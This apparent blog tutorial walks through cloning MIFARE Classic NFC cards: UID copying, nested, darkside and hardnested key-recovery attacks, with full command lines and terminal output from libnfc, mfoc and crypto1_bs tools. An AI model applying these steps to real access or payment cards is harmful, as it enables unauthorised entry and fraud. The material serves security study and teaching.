We all know these cards and keychains used for physically accessing something or even paying with them. The most popular trademark is MIFARE, which includes four different types of NFC cards. Even though the “Classic” version is almost 30 years old, and its followers are much safer, companies and even government organizations still use this type for important operations - simply because it’s cheap. In the previous part of this article, we discussed theory behind its weaknesses and vulnerabilities. In this one you will see, that most “mathematically complex” attacks are easier to reproduce, as you may think.
Memory layout
Before we continue, I highly recommend you to check out the memory layout of Mifare Classic cards, which was explained previously. It will help you better understand what we are dealing with and give you an overview of buzz words terminology used afterwards.
Exploitation
⚠️ WARNING: Provided information should only be used for educational purposes. Every piece of knowledge about this topic was taken from public sources, as referenced at the bottom of this post. No tool installation instructions will be provided. The author is not responsible for any of your actions.
Should you dare to use any of these attacks on public systems, I will find your gravestone, write a UID and put a Mifare Classic reader next to it, so every script kiddie can access your soul
In the previous part we discovered following attack vectors:
- Keystream recovery
- LSFR Rollback
- Authentication replay
- Nested attack
- Darkside attack
- Hardnested attack
The first two are very low-level and are used by more common approaches - nested and darkside. Thus, we will only look at their implementation. We will also see, how easy it is to copy a UID of a card.
UID cloning
This is the easiest and cheapest method, but it won’t work for all applications. As I already said, some people use UID to identify cards and people, so the only thing you need to bypass this protection is to copy it. It can be done in three ways: using Mifare Classic Tool for Android, libnfc for Linux (and for Windows with some workarounds) or cheap portable hardware from China. I won’t show the last method, because I don’t own such a device and also won’t recommend it to you.
Android
The first method requires special “CUID” cards, not ones with simple block 0 write access. They are referred to as “Gen2” cards, supporting direct UID write without any additional commands, which Android doesn’t support. Unfortunately, I do not own such cards, so cannot show you the process. Mifare Classic Tool in general is very powerful and has lots of other features, which I recommend to check out.
Linux
libnfc is a basic module in every Linux OS, even in Android. It supports many readers and provides APIs for software to interact with them.
📘 Note: I will be using cheap PN532 reader combined with USB-to-ttl converter for all further demonstrations
After the installation and configuration you can plug in your reader and check its availability with nfc-list
. Don’t worry about “application errors”! Put a Mifare Classic card on the reader and observe:
~ nfc-list
NFC device: PN532_UART opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 3b 5c 9f 3d
SAK (SEL_RES): 08
libnfc provides lots of tools to work with different types of cards, including Mifare Classic dump tool:
~ nfc-mfclassic
Usage: nfc-mfclassic f|r|R|w|W a|b u|U<01ab23cd> <dump.mfd> [<keys.mfd> [f] [v]]
f|r|R|w|W - Perform format (f) or read from (r) or unlocked read from (R) or write to (w) or block 0 write to (W) card
*** format will reset all keys to FFFFFFFFFFFF and all data to 00 and all ACLs to default
*** unlocked read does not require authentication and will reveal A and B keys
*** note that block 0 write will attempt to overwrite block 0 including UID
*** block 0 write only works with special Mifare cards (Chinese clones)
a|A|b|B - Use A or B keys for action; Halt on errors (a|b) or tolerate errors (A|B)
u|U - Use any (u) uid or supply a uid specifically as U01ab23cd.
<dump.mfd> - MiFare Dump (MFD) used to write (card to MFD) or (MFD to card)
<keys.mfd> - MiFare Dump (MFD) that contain the keys (optional)
f - Force using the keyfile even if UID does not match (optional)
v - Sends libnfc log output to console (optional)
It is a bit an overkill to use it for UID cloning, but you can also brick your card if you mess around with dump’s access bits. Thus, we will use mf-setuid
command for this purpose. Approach a Chinese clone and run it with the UID you obtained previously (using nfc-list
) as a parameter:
~ nfc-mfsetuid deadbeef
Now, if you run nfc-list
on your clone, you will seen the new UID accordingly:
~ nfc-list
NFC device: PN532_UART opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): de ad be ef
SAK (SEL_RES): 08
Exploitation
But let’s dive deeper into advanced techniques: nested and darkside attacks. These are reproducible even with a cheap reader as above and allow full data recovery with or even without any known keys! If you are curious and interested in their theoretical implementation, check out the previous part!
Nested attack
To implement this technique, an easy to use tool called mfoc was created. Combined with libnfc, it allows one to recover all keys (both A and B) by knowing a single key for any sector.
~ ./mfoc -h
Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]
h print this help and exit
k try the specified key in addition to the default keys
f parses a file of keys to add in addition to the default keys
P number of probes per sector, instead of default of 20
T nonce tolerance half-range, instead of default of 20
(i.e., 40 for the total range, in both directions)
O file in which the card contents will be written (REQUIRED)
D file in which partial card info will be written in case PRNG is not vulnerable
Let’s try it on a Classic 1K card, where only one is known and all other are different and unique:
~ ./mfoc -O dump.mfd
Found Mifare Classic 1k tag
[...]
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffffff] -> [................]
[Key: a0a1a2a3a4a5] -> [/...............]
[...]
Sector 00 - Found Key A: a0a1a2a3a4a5 Unknown Key B
Sector 01 - Unknown Key A Unknown Key B
[...]
Using sector 00 as an exploit sector
Sector: 1, type A, probe 0, distance 64 .....
Sector: 1, type A, probe 1, distance 64 .....
Found Key: A [a5524345cd91]
Data read with Key A revealed Key B: [000000000000] - checking Auth: Failed!
[...]
Sector: 0, type B, probe 0, distance 64 .....
Found Key: B [a5524675cd91]
Sector: 1, type B, probe 0, distance 64 .....
Found Key: B [b5524645cd91]
[...]
Auth with all sectors succeeded, dumping keys to a file!
[...]
The whole process took around 6 minutes on my machine with PN532 reader. Afterwards, you can use built-in nfc-mfclassic
command from libnfc to write the dump to a “magic card”.
~ nfc-mfclassic W a u generic.mfd
NFC reader: PN532_UART opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): de ad be ef
SAK (SEL_RES): 08
RATS support: no
Guessing size: seems to be a 1024-byte card
Sent bits: 50 00 57 cd
Sent bits: 40 (7 bits)
Received bits: a (4 bits)
Sent bits: 43
Received bits: 0a
Card unlocked
Writing 64 blocks |................................................................|
Done, 64 of 64 blocks written.
⚠️ Warning: If you accidentally write raw dump (with block 0) to a card with smaller size, you won’t be able to flash smaller (or original) dump to the same card directly. The solution is to run
nfc-mfclassic W a u
with the same 4K dump again. This way, it completely erases everything on the card (for some reason) and you can now flash the original file with the same command. To prevent this problem, change SAK and ATQA values (you know what it is, right? :) ) in the larger dump to match smaller card size before. I don’t know, what happens if you do the same in reverse direction (smaller dump to larger card).
Darkside attack
Pretty easy to recover everything by knowing almost nothing at all, right? But what if we don’t know no keys at all? This is where “darkside” attack can help. Since this approach relies on a lot of “guessing”, it is much slower than one showed above. Therefore, it is recommended to switch to nested attack after obtaining one key using the darkside one. For this method, another tool called mfcuk was developed. Unfortunately, I did not have luck with this one: neither with 1K nor 4K card.
-----------------------------------------------------
Let me entertain you!
uid: deadbeef
type: 08
key: 000000000000
block: 07
diff Nt: 108
auths: 10001
-----------------------------------------------------
30 minutes of useless nonce collection. Yay!
Hardnested attack
In case you have a hardened EV1 version of Mifare Classic card, but you have at least one known key, you can always try hardnested variant. This one also requires collecting lots nonces, but is more efficient, and works. You guessed it right, there is another tool called crypto1_bs which contains libnfc_crypto1_crack
command and makes it all possible.
~ libnfc_crypto1_crack
libnfc_crypto1_crack <known key> <for block> <A|B> <target block> <A|B>
Let’s try to recover key B with known key A from the same sector. Note that you have to specify a block you want to authenticate for. In this case, block 3 is the last one in sector 0.
~ libnfc_crypto1_crack a0a1a2a3a4a5 3 A 3 B
Found tag with uid deadbeef, collecting nonces for key B of block 3 (sector 0) using known key A a0a1a2a3a4a5 for block 3 (sector 0)
Collected 2285 nonces... leftover complexity 290659126784 (~2^38.08) - initializing brute-force phase...
Starting 8 threads to test 290659126784 states using 256-way bitslicing
Cracking... 88.99%
Found key: a5524645cd91
Tested 258675945216 states
The attempt on a hardened 4K card took around 10 minutes, while a normal 1K one was cracked in about 5 minutes. Time depends on number of collected nonces and tested states: sometimes you only need ~1200 nonces and ~20% of all possible states, and sometimes as above.
Conclusion
Unless you have a “hardened” EV1 version of the Classic card, above attacks guarantee 99% data recovery rate. Even with a 4K card and no known keys it takes under 15 minutes to fully clone a card by combining nested and darkside attacks. If you are interested in the theory behind given attacks, you should definitely check out part 1. I won’t say goodbye at this point, see you in the next article!
Literature
Additional information
- https://smartlockpicking.com/slides/Confidence_A_2018_Practical_Guide_To_Hacking_RFID_NFC.pdf
- https://www.youtube.com/watch?v=gMR-sFufXiE
- https://www.youtube.com/watch?v=VcU3Yf5AqQI
- https://penturalabs.wordpress.com/2013/07/15/access-control-part-2-mifare-attacks/
- https://luemmelsec.github.io/gaylord-M-FOCker-ready-to-pwn-your-MIFARE-tags/
- https://ceres-c.it/2021/10/24/weaponizing-NFC-reader/